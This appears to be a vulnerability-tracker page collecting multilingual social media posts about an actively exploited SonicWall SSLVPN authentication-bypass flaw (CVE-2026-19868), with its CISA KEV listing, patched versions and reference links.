    SonicWallのSSLVPNでSAMLを使っている人へ。 別方式の有効な資格情報でSAMLやMFAを迂回できるCVE-2026-19868（CVSS 7.1）。ベンダーが悪用の可能性を調査、米CISAが11/6にKEV追加（期限11/20）。回避策なし。SAML有効時のみ影響。 対策：Gen7は7.3.4-7013以降、Gen8は8.2.3-8015以降へ。 https://psirt.global.sonicwall.com/vuln-detail/SNWLID-20…
    Open source
  • social bsky.app @r-blueteamsec.bsky.social 2026-11-06 23:09 UTC
    SonicWall SonicOS Affected By Multiple Vulnerabilities - CVE-2026-77708, CVE-2026-77709, CVE-2026-82308, CVE-2026-107154, CVE-2026-107155, CVE-2026-19703, CVE-2026-19868
    Open source
  • social infosec.exchange @116797276219291526 2026-11-06 22:50 UTC
    Attackers exploit the SonicWall SonicOS SSLVPN flaw CVE-2026-19868 in the wild. Update Gen7 and Gen8 firewalls now to patch CVE-2026-107155 and 6 bugs. # SonicWall # SonicOS # SSLVPN # Cybersecurity # InfoSec https:// securityonline.info/s…
    Open source
  • social bsky.app @securityonline.bsky.social 2026-11-06 22:50 UTC
    Attackers exploit the SonicWall SonicOS SSLVPN flaw CVE-2026-19868 in the wild. Update Gen7 and Gen8 firewalls now to patch CVE-2026-107155 and 6 bugs. #SonicWall #SonicOS #SSLVPN #Cybersecurity #InfoSec
    Open source
  • social bsky.app @ninjaintelgroup.bsky.social 2026-11-06 22:15 UTC
    🚨 NEW on CISA KEV — exploited in the wild SonicWall SonicOS SSLVPN: SonicWall SonicOS SSLVPN Use of Single-factor Authentication Vulnerability CVE-2026-19868 · patch by 2026-11-20 🔗 https://ninjasignal.ninja/intel/cve/CVE-2026-19868 #KEV #…
    Open source
  • social bsky.app @vulnidx-jp.bsky.social 2026-11-06 21:55 UTC
    【悪用確認】CVE-2026-19868 SonicWall SonicOS SSLVPN Use of Single-factor Authentication Vulnerability SonicWall SonicOS SSLVPN CISA 追加 11/6・対応期限 11/20 https://nvd.nist.gov/vuln/detail/CVE-2026-19868 #脆弱性 #KEV #SonicWall
    Open source
  • social infosec.exchange @117524993192219894 2026-11-06 21:50 UTC
    Zero-day · Newly listed by CISA: SonicWall SonicOS SSLVPN SonicWall SonicOS SSLVPN Use of Single-factor Authentication Vulnerability What to do: Install the vendor's security update. If there isn't one yet, apply the vendor's workaround, o…
    Open source
  • social bsky.app @patchsonar.com 2026-11-06 21:50 UTC
    Zero-day · Newly listed by CISA: SonicWall SonicOS SSLVPN SonicWall SonicOS SSLVPN Use of Single-factor Authentication Vulnerability What to do: Install the vendor's security update. If there isn't one yet, apply the vendor's… https://patc…
    Open source
  • social infosec.exchange @117202824925377048 2026-11-06 21:45 UTC
    On the other hand, SonicWall's security advisory doesn't explicitly say if there's confirmed zero-day exploitation of CVE-2026-19868 - SSLVPN Authentication Enforcement Vulnerability via Alternate Authentication Methods IMPORTANT: SonicWal…
    Open source
  • social bsky.app @axnews.bsky.social 2026-11-06 21:28 UTC
    ⚠️ Exploited in the wild: CVE-2026-19868 SonicWall SonicOS SSLVPN Use of Single-factor Authentication Vulnerability Added to CISA KEV · High 7.5 https://ax-news.com/cve/CVE-2026-19868 #CVE #KEV #infosec
    Open source
  • social infosec.exchange @117509315927375519 2026-11-06 21:28 UTC
    ⚠️ Exploited in the wild: CVE-2026-19868 SonicWall SonicOS SSLVPN Use of Single-factor Authentication Vulnerability Added to CISA KEV · High 7.5 https:// ax-news.com/cve/CVE-2026-19868 # CVE # KEV # infosec
    Open source
  • social bsky.app @chuiho.net 2026-11-06 21:11 UTC
    🚨速報［警戒］CVE-2026-19868 SonicWall SSLVPN、悪用を CISA が警告 SonicWall SonicOS の SSLVPN に、SAML 認証と MFA を回避されうる欠陥（CVE-2026-19868）。CISA が KEV に追加。SonicOS 7.3.3-7015 以前・8.2.2-8015 以前が対象。 https://chuiho.net/posts/sonicwall-cve-2026-19868-sslvpn-kev/ #S…
    Open source
  • social bsky.app @eventmonitor.bsky.social 2026-11-06 21:05 UTC
    CVE-2026-19868: SonicWall SonicOS SSLVPN Use Of Single-Factor Authentication Vulnerability https://cyber.eventmonitor.net/incident/EM-20261106-XD0H/cve-2026-19868-sonicwall-sonicos-sslvpn-use-of-single-factor-authentication/ #news #cyberse…
    Open source
  • social bsky.app @cisa-feed-onblue.bsky.social 2026-11-06 21:05 UTC
    Latest post from CISA
    Open source
  • social infosec.exchange @117529250753467560 2026-11-06 21:04 UTC
    ⚠️ FAILLE CRITIQUE CVE-2026-19868 activement exploitée : utilisation d'une authentification à un seul facteur dans SonicWall SonicOS SSLVPN 🔗 https:// infonewscyber.fr/info/cve-2026 -19868-activement-exploitee-utilisation-d-une-authentific…
    Open source

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-19868
psirt.global.sonicwall.com
GitHub CVE vendor-advisory
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0014
cisa.gov
NVD API
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-19868